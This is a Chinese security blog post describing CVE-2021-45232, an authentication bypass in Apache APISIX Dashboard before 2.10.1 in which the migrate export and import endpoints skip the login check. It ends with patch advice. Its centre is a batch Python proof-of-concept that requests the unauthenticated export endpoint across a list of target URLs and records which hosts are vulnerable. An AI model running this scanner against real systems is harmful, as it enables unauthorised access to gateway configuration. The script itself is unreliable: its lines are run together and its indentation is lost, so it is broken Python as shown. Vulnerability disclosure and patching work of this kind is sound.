CVE-2021-45232 Apache APISIX Dashboard 未授权访问(附批量POC)

发布时间:2021-12-23 06:13:32 作者:Potato 阅读量:3050

Part1 漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。

在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架 gin droplet,并在 gin框架的基础上引入了 droplet框架。所有的API和鉴权中间件都是基于droplet框架开发的,但是有些API直接使用了 框架 gin 的接口从而绕过身份验证。漏洞编号为CVE-2021-45232.

Part2 风险等级

高风险

Part3 漏洞影响

  • Apache APISIX Dashboard < 2.10.1

Part4 漏洞分析

4.1 漏洞源码

本文以2.8版本为例

  • 下载链接:

https://github.com/apache/apisix-dashboard/tree/release/2.8

首先在 apisix-dashboard-release-2.8/api/internal/filter/authentication.go中定义了用户通过URL访问以 /apisix开头的接口时,使用HTTP Header中的 Authorization进行权限认证。还定义了两个例外 /apisix/admin/tool/version /apisix/admin/user/login不需要进行权限认证认证。

然后在 apisix-dashboard-release-2.8/api/internal/route.go中注册了一些 handler

在正常情况下利用 droplet对URL进行鉴权处理,与 authentication.go中的 handle对应,比如 ssl

apisix-dashboard-release-2.8/api/internal/handler/migrate/migrate.go中发现有两个接口 /apisix/admin/migrate/export /apisix/admin/migrate/import没有经过 droplet进行处理,存在认证绕过。

4.2 漏洞验证

4.3 POC

import requests
import sys

filename = sys.argv[1]
print(filename)
target = open(filename,'r')
f = open('result.txt','w')
target_list = target.readlines() for url in target_list:
    url = url.strip()
    payload = url + '/apisix/admin/migrate/export'
     try:
rsp = requests.get(url=payload, verify=False, timeout=2) except:
        print('%s验证失败!'%url) continue else:
        rsp_s = rsp.text if "Counsumers" in rsp_s:
            print("%s存在漏洞!" % url)
            f.writelines(url + '存在漏洞!\n') else:
            print("%s不存在漏洞!" % url)
f.close()
target.close()

Part5 修复建议

官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本,并同时注意修改默认账户的账号密码;或可使用安全组等措施。


Potato

专注渗透测试技术

全球最新网络攻击技术

支付宝打赏 微信打赏

我要评论

Catfish(鲶鱼) Blog V 4.7.3